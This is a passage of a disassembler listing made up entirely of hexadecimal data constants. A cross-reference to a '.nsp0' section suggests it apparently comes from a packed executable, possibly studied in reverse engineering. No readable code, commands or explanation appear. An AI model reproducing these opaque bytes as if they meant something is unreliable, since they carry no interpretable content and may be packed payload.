		dd 0CC1D8120h, 0A1C89934h, 21C49998h, 0BBE146Eh, 772ECBAh
		dd 981EC0Ah, 1AAA07E8h,	0E8A52E26h, 57441D8Ah, 0BDA62185h
		dd 7AAA7255h, 7A72ECFDh, 0AA6F9999h, 0EF417AEAh, 0A4CC565h
		dd 4CCFFC9Ah, 0BC48C8E3h, 3D201E09h, 0B019424Bh, 7BC89232h
		dd 2809F431h, 94D92442h, 0E809741Dh, 5C59DD96h,	29451643h
		dd 0E3E01E6Bh, 694AB835h, 9D337ED6h, 0DA4FA430h, 558A3337h
		dd 0A9241699h, 0F3F61CD1h, 42AADFA6h, 7A3E48B6h, 524B62A2h
		dd 303ABBEFh, 3499D9C8h, 0FB81816Bh, 4D3EB093h,	0E3F31872h
		dd 0F0387A99h, 69E6F002h, 0F555CDE0h, 8200E6BBh, 8567BAC2h
		dd 93A626DEh, 52D53699h, 0A70128BDh, 55147839h,	0AEBC9398h
		dd 0A61AC70Ch, 7FD49095h, 32B16196h, 0E65E1534h, 0AA589132h
		dd 0F104C347h, 0CC94492Ch, 9553C47Bh, 65C3DBFAh, 633245C5h
		dd 6B468FB5h, 8BFF3EFEh, 8B13EA2Fh, 79830059h, 0F9E14154h
		dd 5E6D0572h, 8A7F7DB1h, 2F427F69h, 1420C6A6h, 0F330BA1Dh
		dd 0BA7C5C52h, 609AFD86h, 7E6FAFB4h, 16AC037Dh,	0E49D0A6h
		dd 0E3B6FF18h, 502F765Ah, 0A86DA82Ch, 73B14753h, 86262FBCh
		dd 0D00325C1h, 0A8B743DDh, 2AC6191Ah, 7363830Ch, 53EE454h
		dd 0EBF76B6Ch, 654286F2h, 89CEE685h, 0FBAFF823h, 0DADC85D3h
		dd 902ACFA8h, 0F37B74B1h, 7B457338h, 8BB891BCh,	0EE81A25Fh
		dd 0C6677C11h, 3596BCD7h, 1ADEB8D8h, 470AA684h,	0F31ACEA7h
		dd 1B2F207Eh, 977BB4DCh, 92E1BD77h, 916F9075h, 0E8A5A859h
		dd 8A1D6A2Ch, 0A076D777h, 2477CB07h, 0E361629Eh, 5B54407h
		dd 3AC7D460h, 0B537BF76h, 0D20D72E5h, 5D1BEEACh, 47B8D8F5h
		dd 2D818636h, 0A4788DE4h, 0B5E3B2C2h, 0DADE40F3h, 0CEF4E682h
		dd 3AED1036h, 47520DD2h, 6A38886Ah, 2F5B5E12h, 46E04ECCh
		dd 78142294h, 614C9F00h, 2AA8A05Ch, 550F1D6Eh, 0B7F7F886h
		dd 6A2FC3CCh, 334FA09Ch, 7675CF52h, 49A47007h, 2E2F8636h
		dd 329DDB01h, 6CCA908Eh, 17F0C049h, 2E48F3EAh, 359BA143h
		dd 89BDAF86h, 6517811Eh, 53774A96h, 73516CEDh, 52FD2606h
		dd 9A4AC47Ah, 3BA016CEh, 0B9642E08h, 8DF45B22h,	23920B74h
		dd 52ED8716h, 0B5365A3Bh, 58931F48h, 4D3C88D0h,	0FE17D345h
		dd 82FAE4C9h, 0E23B6B60h, 93213702h, 3E95BE22h,	0D2C3F9E2h
		dd 1DF0342Fh, 0C36D55E2h, 0AA85A4EBh, 0B940D220h, 0D84F3A85h
		dd 0D1F9D55Fh, 0A048DAF2h, 556ABD81h, 0EF53AFBEh, 0A759CAD5h
		dd 37DFF484h, 43F7EA7Bh, 0F879B352h, 28AD2F67h,	43F6A16Dh
		dd 12011F26h, 400E37EEh, 0B0BB85C4h, 95D4B221h,	80B13B98h
		dd 1603525Ah, 0B61DF2BBh, 0A3E0E721h, 4D1756E4h, 2B2A67A1h
		dd 2C2B4DC5h, 0C6F2B919h, 0FB2BB4E5h, 0A05FDFE0h, 94ED10FDh
		dd 516678Bh, 48D25A71h,	15F1E197h, 0FC602F7Eh, 38ECE61Bh
		dd 3A086281h, 9A726BE9h, 71B41B28h, 0D3085698h,	0DF2A5702h
		dd 0DE827AFAh, 0A9DA54C1h, 8830B5FBh, 0C729B557h, 0FA95D8BAh
		dd 3C2ADF9Fh, 8DAFF03Eh, 0D69DDECFh, 0E3E25472h, 22584094h
		dd 330B6AAFh, 94CE7F62h, 13B27992h, 2894426Eh, 0F3A3AE85h
		dd 0D42B4423h, 726EB2EEh, 7D4E440Ch, 8810DBB8h,	0FB6145B3h
		db 48h,	9Fh, 4Bh
byte_494843	db 87h			; DATA XREF: .nsp0:off_42EC80o
		dd 25395912h, 96441443h, 684EB08Fh, 0EFF0FA74h,	0ED9221C5h
		dd 871ACF05h, 0AB40394Ch, 49943FDAh, 1BF1B451h,	0AAD2F24Dh
		dd 0C8ADC39Ah, 38CCE557h, 72FD04D2h, 4911DB15h,	0D8BE0E8h
		dd 569926E5h, 140D1EB1h, 0BECC3A74h, 688CEAAAh,	0E6146A43h
		dd 3710DB1Fh, 7E742AD5h, 0AAF058B3h, 6F8E23DFh,	6A855CCEh
		dd 586C84AFh, 0A93C2193h, 2C8B7149h, 0E0B49E4h,	0C9297175h
		dd 0E5DF9606h, 321CD2F4h, 0DA6BFE24h, 1F6368FEh, 4F3AE6C4h
		dd 0E63E9EA6h, 0F75FB41Dh, 6E64266h, 0DDF0C90Ch, 918CDF18h
		dd 186DA298h, 9684E34Ch, 0EDF593FEh, 109C50C6h,	3404E9A8h
		dd 0D2A972BDh, 5F03FF2Fh, 91A550F5h, 0EDE02A74h, 26CA78B6h
		dd 2C433DC4h, 9A61417Eh, 1A1E2868h, 0F3EE5E4Bh,	8943A6C5h
		dd 4387358Ch, 502A69DBh, 5C28CE46h, 30C1BF22h, 6FAB5C69h
		dd 0F4A66E9Bh, 9A93230Ch, 7CD93BF3h, 0C3A0A001h, 94383EF2h
		dd 0E43D5339h, 586553C0h, 674E5B97h, 0D4DBD88Fh, 35481F2Ch
		dd 6825DEC8h, 4C9B877Ah, 39C1BFCEh, 0EF63E6DCh,	0E4EE31A5h
		dd 9FF93BFh, 0E3D580A5h, 53435370h, 0F035B1F7h,	0ABDDAEB5h
		dd 0B25B4AAh, 0EE15E9C0h, 0DFCD26DFh, 0F7FCC01Fh, 1CF1306Ah
		dd 0ABD3821Eh, 1987CBC5h, 827CE6A3h, 0ED1D19F6h, 0CE7422DCh
		dd 63E9BE7h, 6B7EBF37h,	0A16F9CBCh, 4F13A0C2h, 0F0CD8E01h
		dd 0A2F24782h, 8B0CC684h, 8AB71E8Bh, 0FE5A5F65h, 3387887h
		dd 0BA532229h, 6297CF77h, 6CB53384h, 0E0BB4F02h, 48ED449Bh
		dd 1CC17D69h, 86C3E081h, 6E4F2C84h, 6F36EF22h, 85AA87FFh
		dd 2FFE91B8h, 34702177h, 1C16564Bh, 0ED2FDF6Eh,	0BB684F2Bh
		dd 491E7A77h, 4773888Ah, 45DE0AEEh, 6643C97Ch, 0B2F31509h
		dd 6A775B2Eh, 0B12B065Ch, 59131F11h, 0E0EF3327h, 0EC2B9F93h
		dd 8932BE3Dh, 0B8975B3Ch, 0C6663EDDh, 0E17F52A9h, 0A496F8EEh
		dd 90A58A1Eh, 0E17FFC86h, 72D55DFh, 2D88DC59h, 914AF00Ah
		dd 8EA92D6Bh, 0EEACBF96h, 8DC5777Fh, 3DC069CFh,	79CD02DAh
		dd 0B10E35Ah, 6AA0D3EFh, 0F9CB3E3Fh, 0D3F6B740h, 5446367Dh
		dd 0CBB3A642h, 0D4FEE371h, 5764DA79h, 0B37468ECh, 7AD6EEDEh
		dd 76E176C1h, 54855BEBh, 0B9CEE86Ch, 8F22A659h,	0AC2E304Eh
		dd 7F5EE74Fh, 9D3F766Fh, 0D80AEE08h, 7456557Ah,	0C603B36Fh
		dd 6D49C054h, 8AF26A12h, 3B984692h, 0E37F06E4h,	0BB25EC7Ah
		dd 9A8C612Ch, 637D7B4h,	46C660EBh, 0AD744392h, 0EEC84DD0h
		dd 0CD303D9Ah, 1889800Bh, 0B742FBEFh, 0D158C79Eh, 2FAE1504h
		dd 43D87419h, 178557E2h, 6B2E248Ah, 0F0F3F83Dh,	475EE1B2h
		dd 0DC8AE614h, 837C5D46h, 99CF646Ah, 74547C0Ch,	0D9D09CB1h
		dd 52B64784h, 7F75AE7Bh, 3A692599h, 8C987827h, 325CD50h
		dd 3B834480h, 0C0B01E89h, 0DD4380B5h, 7A910F33h, 0CFE8FF9Dh
		dd 0C1668E4h, 82A00976h, 0DF768FF4h, 0D122E5E9h, 0BE205B41h
		dd 148EE93Dh, 0F6622C1h, 0D30A70B8h, 28255903h,	0F9235A98h
		dd 0E1B51872h, 6EF75CDFh, 80726385h, 63E2429Fh,	99E242B0h
		dd 67D6B562h, 0D7EBA5BCh, 46888A1Ah, 0F9E8D6h, 567DEAC4h
		dd 7E96DE23h, 28F14BA5h, 475EE588h, 58949707h, 0DCD2E9EEh
		dd 0E4C9D829h, 0B31D322Fh, 50FEC1AFh, 2F9442D7h, 7F33A437h
		dd 0A8FC0308h, 4A4242C0h, 8A109A69h, 67BD9FFAh,	0D864EA04h
		dd 0D8653C87h, 10BA5135h, 0EC2D75DFh, 8CDE39B8h, 5C0C9120h
		dd 0C64ACE25h, 0AA4B3781h, 714A74A5h, 770B473h,	0FE03207Bh
		dd 0F1502DABh, 994E453Eh, 7123B122h, 0D03CB23h,	4AE3461Bh
		dd 0D3EB4F9Fh, 4E5A0F55h, 75032201h, 0A6807BFEh, 0D1206659h
		dd 9E1432B7h, 0B54D317Eh, 826A2B21h, 3FD39906h,	4610F60Bh
		dd 5D1EC223h, 1124F4C7h, 0E284B00h, 144C6F14h, 0F213297Bh
		dd 1B0FA712h, 0C436B044h, 78B0906Fh, 20961FC0h,	0C374BABEh
		dd 45F4007Dh, 0C6CA9762h, 1B446F03h, 99B578E4h,	0A0C89B3Dh
		dd 61EC19C2h, 619301C3h, 4B6E8984h, 6B3F1BDh, 3885734h
		dd 5DA2718Ah, 2E37A171h, 7E139D1Dh, 47349E2Eh, 90CAC519h
		dd 0CDE0022Ch, 0FF1A612h, 3262BF48h, 43E74077h,	6EF9897Ah
		dd 0F6569ED2h, 0EE3F4E8Dh, 91858B61h, 399F4E53h, 0EDAC44BDh
		dd 206C3E41h, 887DBE3Ch, 0E3F9A6A8h, 0C3EC8BB6h, 4A462093h
		dd 7442FF09h, 338F4C56h, 1D764B32h, 8F169E4Eh, 74CE63F6h
		dd 3D5382E4h, 520A06BAh, 0C1029D22h, 2B467AE4h,	0F1A630F2h
		dd 0C881912Fh, 0DABB998Eh, 0D713E0FFh, 0BBF7E5CCh, 31714646h
		dd 75D608A0h, 2E3D87C3h, 3F81A981h, 9FE076C5h, 0AD556CD5h
		dd 90836D5Fh, 124407E1h, 1D088F63h, 8D1DD825h, 37B38DAEh
		dd 30EF57DDh, 0F68809FFh, 0B9435825h, 26285D4Ah, 0FD9D960h
		dd 0FDE5A39Ch, 2CD51C13h, 2E75D766h, 0B430AE92h, 52A08FCDh
		dd 18AB3DDEh, 0D0314CADh, 964F0550h, 89D4FB4h, 86B119C7h
		dd 21759296h, 71FCF2ACh, 89115DAAh, 0B7FEB217h,	79590A3Ch
		dd 0CFC62902h, 9EF4CF3Fh, 0AA8AC2CDh, 0FD4CBE46h, 4D5BF052h
		dd 53A598FAh, 640AA9D0h, 204FA6DBh, 1F60E408h, 49AD5BC6h
		dd 28626638h, 8678EB83h, 0F19E9177h, 0A7643604h, 0ADE1DB0Eh
		dd 34B769C5h, 0AE123D1Dh, 2BD7138Ch, 93DCC0A4h,	602A3936h
		dd 0B842FB5Bh, 0B20583F0h, 527D9074h, 8D9C6E0Ch, 0AB42C930h
		dd 0D9413786h, 0F7DBEF1Dh, 0A089C6DDh, 0F853B809h, 974123FDh
		dd 64F31516h, 0EDBDA14Fh, 8CBAF201h, 4D5BFADCh,	5EF6FEBCh
		dd 389D9E16h, 78BE8618h, 6A9272B1h, 2ADDA029h, 0D1D29679h
		dd 346BD166h, 4A643394h, 3D5BD5B6h, 58C7E735h, 0CCF251A9h
		dd 93AE4483h, 96194621h, 0FCE89738h, 0F44B28FCh, 9FD837B3h
		dd 96045DC1h, 0EBA4F2DEh, 331FCC07h, 6321AD44h,	7234C5Bh
		dd 882518ECh, 103AD6Bh,	2872C5F1h, 0E68CAF50h, 90BBC62Bh
		dd 0D415E760h, 0E304FE48h, 0BA099E48h, 0BA249F40h, 0D9304C30h
		dd 0A1AF8FBAh, 0F59403B3h, 355D937Ch, 0DA435897h, 2097FF5Bh
		dd 0AA568AD8h, 977A566Ch, 3AA2B285h, 71C5FC67h,	7915FDF4h
		dd 5CF69451h, 0B3A6AA3Dh, 0F6118334h, 95A8440Dh, 93781DEFh
		dd 50563C25h, 75500B27h, 7B30D107h, 0E1392EB5h,	0DFFF6AA5h
		dd 0B49B01E2h, 9AB0E0A0h, 212E8718h, 133A5756h,	0F64C89Bh
		dd 0D41C4C85h, 33D0E91Bh, 0FCCBE119h, 54BADF6Eh, 8BE0BDCFh
		dd 0F8CA2D1Ch, 0C1760A55h, 47A89C49h, 0A4D01FBEh, 0B2ACB723h
		dd 4DC6AFE7h, 0EBEC75Eh, 5FBE5676h, 0C4C26E81h,	17BB80C6h
		dd 0E384C79Dh, 0E0215FDCh, 92432DD3h, 0ADBABBE1h, 4C8ACB39h
		dd 0E8329119h, 95B0409Bh, 88CA61D8h, 6534AF76h,	7E0DD8C2h
		dd 6E334ECEh, 0ABE60321h, 2970D18Dh, 59FD2CCh, 257A4E6Ah
		dd 0B665D744h, 0DC28CF5Eh, 830AAC26h, 142CB7CAh, 4D4A9495h
		dd 19271FE3h, 0D597BCFEh, 0B101BFCDh, 8732938Ah, 36BFE6AEh
		dd 21820BFDh, 486D704Ch, 970972C1h, 0BD42E41Fh,	0CC39DBF4h
		dd 99D804F5h, 84F4486Bh, 0DAB082D4h, 433C550Bh,	629DE280h
		dd 141F28A7h, 9E02C09Bh, 0A6268B01h, 6D1EF401h,	0B43DAB8Ch
		dd 0F865E64Dh, 49F7ABE4h, 10C9118h, 546D837Dh, 3068B4h
		dd 3E067719h, 0A4901859h, 0B66F6EF2h, 0FC4A1255h, 0CB86EA62h
		dd 3FF3DA69h, 298F69D9h, 0FCB27FADh, 5249883Eh,	0C007E83Ch
		dd 96F39EEDh, 5623F8AAh, 0AF264936h, 0A78ECF7Eh, 0C38DB2C6h
		dd 0A7591B6Dh, 4E81D9C9h, 988865C5h, 404763DEh,	1D70A049h
		dd 4262743h, 0BD22099h
		dd 1B758ACDh, 0D4BD1FB8h, 3CFFC7D2h, 42B3DEA4h,	3F97D6CAh
		dd 4E4564A5h, 0A5E5F48Dh, 0ACB31EC0h, 274D150h,	0B8933CBEh
		dd 4FCA9852h, 0BED49F28h, 18FE44D0h, 0A0DE6D52h, 0F872E6Fh
		dd 0E21979B9h, 0D625E0E9h, 3D3398CDh, 389BEE5Bh, 16D6188Ah
		dd 0BD9D5E25h, 0A4EBD006h, 0C96C40F2h, 7D44E886h, 14D8605Fh
		dd 0B70AD5A4h, 0B4BD7D97h, 416775A6h, 0A2AB6E9Dh, 0E984B012h
		dd 65519949h, 0E80A71B5h, 80BBEB72h, 31B89180h,	0DE72245Eh
		dd 92E9DFDFh, 64D42889h, 4B7A5FB5h, 2BDB5F72h, 836BFC29h
		dd 636E85CCh, 54BB37D6h, 0F8D5E0A9h, 5F3474B5h,	0A4A0A90Eh
		dd 6E36A7BFh, 0E7EBD373h, 302E1519h, 0B26F7CC6h, 0B62635B5h
		dd 82B3B35Fh, 92552076h, 49546155h, 0AC0B9006h,	0ABAB5720h
		dd 0A260C53Bh, 590F275Ah, 8B2EA7A8h, 0A6695DDDh, 0AA1471E1h
		dd 52387340h, 4E825F1Ch, 0A292FC5Ch, 5367133Dh,	0B9A97F23h
		dd 7195EC5h, 1CA37A73h,	63D3BAAFh, 6CA16571h, 5FFA40A2h
		dd 5BADAA8Ah, 0D53D42ADh, 32B4DA88h, 1A571A00h,	0D9E1ABF6h
		dd 8C2F4D64h, 0C8384CF9h, 71B724CEh, 9E2E8E9Ch,	91B6D49Ch
		dd 549A3F15h, 7C68C495h, 3E49F9C3h, 7D557923h, 951A71EFh
		dd 971A7D01h, 0C8747EBCh, 97E4F586h, 0D6696C8Ch, 5B67964h
		dd 48E31283h, 0FD871922h, 0BFBCF341h, 0FCFEFB84h, 7DA61774h
		dd 8D45CC4Eh, 0AEFCDA3Dh, 8D18DEEAh, 8F359D17h,	71CA8092h
		dd 24CBB618h, 3EDC4A97h, 18CE41ABh, 9C2D0D13h, 8652071Dh
		dd 8DE74A4Ch, 0A42010DBh, 482135A6h, 0BD9D91A8h, 4BAB0C0Ch
		dd 497A0928h, 71DFED5Fh, 0A9E47EA7h, 98C14632h,	0CBFBB901h
		dd 846B3AA6h, 180A1B3Dh, 0DD600B76h, 2DDA93C9h,	3D6BE656h
		dd 8AC173A9h, 6EF7F665h, 8ADCCFFBh, 0F8099D39h,	0C7D9B827h
		dd 4819CCC4h, 0BC4BDF4Bh, 88D9B8FCh, 94F30A66h,	5526E01Fh
		dd 0D307F3F7h, 0FAB347F1h, 6AB6A0F1h, 4B2F3780h, 13F716Fh
		dd 28F7009Fh, 7C19E35Eh, 4814AB1Eh, 2086CDFDh, 3D9752B4h
		dd 0D09E9721h, 6996A764h, 3E80277Eh, 77D47E0h, 85997594h
		dd 629D327h, 1B84A6A6h,	0A755A594h, 0ADFF57F6h,	94067057h
		dd 0A9D291BBh, 5A04627Bh, 0C2A3FDBh, 0E4CB7CA4h, 72E6AB42h
		dd 7EEB839Ch, 937733DBh, 2E354732h, 0EEC73847h,	0F484D6FFh
		dd 7A7F625Fh, 6C753715h, 0C0C3E6FCh, 0E8F67F44h, 0B22D001Eh
		dd 6B3CCFACh, 0BBDFA6C9h, 367043B8h, 6C4A2D91h,	4B377221h
		dd 10EEF609h, 3884CD36h, 0D4A54619h, 48A2D2A6h,	7BAFC581h
		dd 0EBCCB38Eh, 78DE7BADh, 72446A90h, 0FF7872B2h, 0B3A3539Ah
		dd 8AA46A18h, 0D07F4AC3h, 5A164433h, 34E2DE9h, 0B0C3F1B7h
		dd 5412C0EEh, 5C00CE2h,	50D97E83h, 4A988163h, 0CFC8C86Dh
		dd 692B8F0Fh, 1DDB9DCCh, 87CFE336h, 0FF5CFB81h,	0A102D546h
		dd 8E47030h, 0E83F1F9Fh, 0C19DB000h, 40078404h,	0AE860941h
		dd 1541C03h, 89FA0610h,	0BE9495Dh, 0B09EDAA6h, 7C3530DDh
		dd 0C2BDBB3Dh, 2D8B5AE7h, 3D0A1DCBh, 0EF29D085h, 0D76E44D7h
		dd 77EECE9h, 0A5E72DF2h, 448E06BDh, 0A0857704h,	0C53B7E22h
		dd 0AEBE4F97h, 0CD4A46CCh, 35B692D8h, 5658D351h, 0DB4F8253h
		dd 0C1BBBC9Bh, 5917404Dh, 42081E2Bh, 33CC4063h,	202629D7h
		dd 0F2583766h, 0FA53D94Eh, 33988A40h, 0DDAF7633h, 2A437392h
		dd 0F32A9064h, 16341A09h, 7E214D46h, 0B026041Bh, 4DA5FE9Dh
		dd 0D762302Bh, 77731E8h, 97AD52ACh, 22DDBA1Bh, 6BD8FBDFh
		dd 3B7075F1h, 0AC1FE2E9h, 43EC112Ah, 0C3DF8B45h, 7FE465BEh
		dd 7E485270h, 8FC96ACh,	0E98294ECh, 0E256B737h,	436474FFh
		dd 213D9D7h, 0D6CFB47Ah, 9666B326h, 22AB1A8Bh, 0A5E59017h
		dd 2A60CACCh, 0E7DCF5D1h, 22836AB1h, 41156C11h,	0C60FB3A6h
		dd 860A012Ch, 0AD900808h, 0B7E8A804h, 30832B46h, 349DB604h
		dd 1544D14h, 9800A0A0h,	9C46285Bh, 334B05FFh, 702B15B5h
		dd 5A2A17A0h, 0FAAC0C90h, 4CC20847h, 0C782EF38h, 9B69E170h
		dd 127ED664h, 0F71A2A83h, 1F1FC4D3h, 854B0D7Dh,	0A92FAD16h
		dd 0CC896B76h, 2793A89Fh, 76550267h, 1C5BAECDh,	812ECDA3h
		dd 0E2430490h, 3D5A64EDh, 0BC64379Ch, 217477A9h, 1984FF2Ch
		dd 75F6F110h, 0E4355CC3h, 0D6AA53A1h, 8E65FBAEh, 0DF277096h
		dd 0D78D150Bh, 436BA22Fh, 0AE005C0Eh, 56C7BB04h, 29A97726h
		dd 3D99E594h, 0BD5BC54Dh, 0ED9E5415h, 0E1990D87h, 5E556592h
		dd 0F85AE678h, 50D9E845h, 83B1715Dh, 8E3BB065h,	0B9458667h
		dd 5DBB599h, 5B474534h,	66D0E83Ah, 0D8E7DBBCh, 1468B784h
		dd 0E5E59D79h, 0E5109E14h, 5CEADA22h, 28D98B0Ah, 5138C517h
		dd 42679BC8h, 9837A679h, 2CC1FE68h, 0BCF7B436h,	0DF414460h
		dd 0C9FEE864h, 0EE4A1034h, 0AACCFC81h, 90E024ADh, 0B2FB98D0h
		dd 7A67A888h, 72700D15h, 4AD5C15Ch, 0E5FA5364h,	33DA6E2h
		dd 8616CD45h, 0C099746Ah, 7BB56F6Eh, 7ACA02Ch, 0F5C9488Ch
		dd 0B8F65B99h, 0D1C1CECBh, 0B5AA277h, 9C84E582h, 0CA9F3CEBh
		dd 0EE7D5BF8h, 3F11DCE1h, 948294CAh, 1B7516ECh,	44B7717Dh
		dd 0DEDE459Fh, 3B8E0C19h, 35A20F7Ah, 9374B685h,	3188D4F3h
		dd 0F22DA1FBh, 0D2423F3Bh, 0D2FD119Ch, 5E880216h, 8BD1559Fh
		dd 3B3320D5h, 0AAD8C2F3h, 0DB726E72h, 0E8B1E432h, 5EA534F0h
		dd 68728CE8h, 0D99FF3E7h, 6CB985ECh, 8CC58729h,	7E0A9C90h
		dd 849E298Fh, 9445AD77h, 0F00CAEF4h, 0BD7C2FEDh, 8940A03Ah
		dd 0F21BBAACh, 0D3F402DDh, 42C10DEAh, 9BA25CCh,	0EF802CA5h
		dd 95AEBD4Fh, 0E16C8DEh, 4A3E4375h, 76DC877Eh, 0EB238C57h
		dd 0AAE67C37h, 0F9673696h, 56069DE6h, 94AD2033h, 42884A8Fh
		dd 461B501h, 74F7084Bh,	0F17A448Eh, 0C8AF5FBFh,	0DA60B80Eh
		dd 2A68DF8Ch, 0EF747EC6h, 5A842912h, 1C787C08h,	261F80CCh
		dd 9B2A21F9h, 5A2FB426h, 0C9431445h, 0E1DEC278h, 2F422588h
		dd 155D89C3h, 15F865Fh,	0B9B7DA32h, 0A98B3127h,	63E97BFCh
		dd 469F9F4Ch, 7DE0E8A6h, 661B00D9h, 7D0ED66h, 7DC9153h
		dd 0E9963866h, 0E18B35B6h, 6C32196Bh, 5244DD67h, 9BE9B47Ah
		dd 0B7106E62h, 0E9ACDEFDh, 719F5F39h, 4856CD21h, 0D7353048h
		dd 31DE438Ch, 0A9ADCE05h, 0B471ED20h, 69539BD3h, 0E83E59F1h
		dd 2E002F30h, 439DDC4Dh, 0D9EF56F5h, 93DA251Dh,	961A17A2h
		dd 0B91237C3h, 0A9596CF3h, 0CF50FC0Bh, 6A30BDE3h, 2AE06FD6h
		dd 0FA982471h, 611B412Ch, 0B2C3BBF0h, 61A2FC20h, 106D4512h
		dd 0F6968Dh, 0A6B3B680h, 8D7038E5h, 0D5E5190Ch,	84441EC7h
		dd 1409EDFFh, 7A695112h, 67B26A9Fh, 1EFDE256h, 0FBE270EBh
		dd 0F287C802h, 62715468h, 0CA8A260h, 2E9948B6h,	1C2E14D1h
		dd 6DE7D9h, 25DA7A95h, 4C4B1AFFh, 0E7D92AB1h, 724FB9D8h
		dd 131DA557h, 0C19A0C1h, 2EE5796Ch, 6FD74D4h, 50CFAEB6h
		dd 318D05E4h, 0A4E132C1h, 0C300A05Dh, 0EF082739h, 0A1FAB7F7h
		dd 5737BABBh, 9EA65236h, 0D222B379h, 1D5E6005h,	4D831E02h
		dd 884C0DC8h, 0CAC10411h, 0F4FA2F3Fh, 8E18A951h, 0C436E9E6h
		dd 23C15D4Ch, 0CB0706CCh, 0E58BD7FDh, 0AD4B536Eh, 2040783Eh
		dd 21603589h, 45F02701h, 15C1A1C6h, 2BB6AD6Eh, 321BD590h
		dd 3E0D1733h, 0CC74D9D8h, 70AF9F91h, 0C080AD67h, 830B5FC9h
		dd 47F53FF6h, 2A8A84CFh, 31EFF3EEh, 0F58C2891h,	798426BFh
		dd 890BAC59h, 6C2751D2h, 0B3F989B0h, 2AABEA2Fh,	8879673h
		dd 0C28C0657h, 8A293C14h
		dd 0E2E32023h, 70BA2EBh, 96365044h, 94C8044Ch, 194856A5h
		dd 0E170C8F7h, 91E2B4CBh, 0BBBE5273h, 0CFBAB940h, 837360A1h
		dd 301153h, 0A0A72192h,	0CBCF896h, 9BB4AF3Dh, 3D3256C9h
		dd 6D6B3C2Dh, 6CD05E9Fh, 0C652A6F1h, 5CB171A6h,	0FB0E2FD1h
		dd 0C9C610E0h, 0AD07FB27h, 0B019DE40h, 2BA6CF3Eh, 0FF577CEh
		dd 0C9342AF0h, 4321551Bh, 1080B193h, 0BAEE46B2h, 30AA73E1h
		dd 316B10Ah, 0C51F9B11h, 82E47DBBh, 0F4652477h,	0C38C862h
		dd 83FAE1F7h, 0FC4DB3C3h, 3313C11Ah, 7A25D6B7h,	4D8DF35Dh
		dd 24A2016Ah, 8A22CC00h, 0BC47C047h, 82DFD474h,	5904C475h
		dd 0ED5811C7h, 1FECFFE3h, 0F0C8F752h, 7F8D519h,	3F242A8Ah
		dd 0CE0C51F2h, 248E06B4h, 0E83081C5h, 0CEB0F13Ch, 0DA14C254h
		dd 9930AF09h, 6C41A245h, 34EE9B0Eh, 0C765A3F3h,	798E5AB6h
		dd 9D10A3FFh, 15AC4DF1h, 0AA495162h, 0E50057BCh, 0E90DAE77h
		dd 4A00F238h, 0BA8028C7h, 0C9B25C8Bh, 0C8E8DFEh, 3920275Eh
		dd 806D0A1h, 7C81EAA2h,	0CD8740A1h, 0D411D89Ch,	4C2736BAh
		dd 0DEEBDEC0h, 296D4DAFh, 1FF0F7AAh, 79A1341Ah,	0F14DEB82h
		dd 0DEE7D979h, 27E8A3F3h, 0A1DD4A68h, 0A5AA682Ch, 16177F78h
		dd 9D568A0Ch, 59808EA4h, 531792CCh, 2A029A6Ah, 599E183Fh
		dd 0EEA2261Dh, 0E01AC506h, 0F5E9FF01h, 0A76F19D7h, 3C8B150h
		dd 86FF7151h, 76C1ABEAh, 0E40091ACh, 0EC7D2B5Dh, 0AF231EB1h
		dd 261A599Dh, 0CDE62B31h, 0DF47F87Ch, 1617DA8Dh, 0DD36D013h
		dd 8B1BEDA8h, 2778B821h, 48082E85h, 10DD95C9h, 1AACE262h
		dd 69D23B8Bh, 5E709E1Ah, 0F52C2CD6h, 2B292F45h,	4C184FA9h
		dd 0F382999Ch, 9B2CD7Bh, 3ECE5B38h, 529C7819h, 0B8ED3779h
		dd 31BD4CEEh, 0CD6FEA6Dh, 1EEF7E02h, 42E38EDCh,	0E84C1F7Ch
		dd 12881F79h, 2A7B3178h, 0F3BF40C9h, 443B99CEh,	0F90C14FAh
		dd 0FEA7173Eh, 0F0996BDh, 0FD849FB7h, 434BFC02h, 715A7EABh
		dd 0B8A3BEF7h, 5ADECFBh, 7000C19Bh, 4F5F3DDh, 313C0F98h
		dd 443FD6CAh, 93F2D0C5h, 1EA80DEDh, 606D5880h, 0F4564E7Dh
		dd 0AD1389CDh, 0C8108539h, 2CC657F0h, 7D061184h, 90F93EEDh
		dd 1D513E03h, 249DE543h, 9C40086Fh, 9089709Eh, 2574B4BEh
		dd 7D432CC6h, 0D502F58h, 5005B7CFh, 8AEE92C4h, 0CA31F4Eh
		dd 0C8D9EA94h, 3BB46DB8h, 0E0C282B1h, 41B4A55Fh, 4BD85513h
		dd 88321B5Eh, 4E490D42h, 0A1EF08A6h, 65BF4CF3h,	7E41EF0Dh
		dd 3EFA331Ah, 7F30C3F6h, 4084336Dh, 94842A45h, 0DB54962Ah
		dd 98673E07h, 171C4E21h, 0D508E6C3h, 68175F8Ah,	0FA53418h
		dd 0B28A61FCh, 9B7CF5D6h, 12BADF8Ch, 0B975F897h, 9496542Ah
		dd 7D4F2A62h, 0F13FDF93h, 0B36A6A7Dh, 846D8793h, 371DBAB4h
		dd 0F9756DB5h, 0CC22F88h, 7E35365Ch, 0CCC0840h,	2F33FF7Ch
		dd 458559C1h, 0F74E041Dh, 1347FDCCh, 0D25CEBA1h, 0CB4DA849h
		dd 0CABCEA4h, 0E17C66A2h, 7BD1F96Bh, 6864E423h,	0F40ACB68h
		dd 83E5A11Ch, 3295AEB6h, 0BEADD9AAh, 0E1FDBE3Bh, 3704DD9Fh
		dd 0EB01F806h, 2D2DA9B2h, 77B7791Dh, 0B34CF2D8h, 71931E4Bh
		dd 0A95CC307h, 43BCF9E9h, 898E3874h, 463BE590h,	3499448Dh
		dd 3020548Bh, 2AA6CB52h, 0D8B0F326h, 0F21E650Ah, 3C8513ACh
		dd 0C4706932h, 0F7BEBE5Dh, 38677A54h, 0EA10606Ch, 78EDCEE1h
		dd 85D93237h, 0E616B6A7h, 9FEB3052h, 0B77A6D5h,	0C5911791h
		dd 62166D30h, 49C09C88h, 0AA72C478h, 0D2BB4641h, 89F96DFh
		dd 56A06401h, 0E87C3F9Ah, 46830315h, 1EC397DAh,	3ED7AE57h
		dd 3CDE75A5h, 56CF9442h, 0B58F2796h, 56525D9Ah,	0A09C60AFh
		dd 0C72771B9h, 64CDF92Dh, 4329D472h, 0BA3F20EEh, 57F1E4C8h
		dd 0C36D9088h, 0D5A13A01h, 92723837h, 0CE654EBCh, 93FFCB42h
		dd 12E5C1A1h, 3D1C258Fh, 0C2C7241Ah, 49518AE3h,	10397896h
		dd 407E896h, 321C3853h,	18EFBAFCh, 0A24EFBF6h, 0CD3A40D8h
		dd 0BAB54B40h, 3BA84711h, 0F7FD405Bh, 0E3D21121h, 71BF7090h
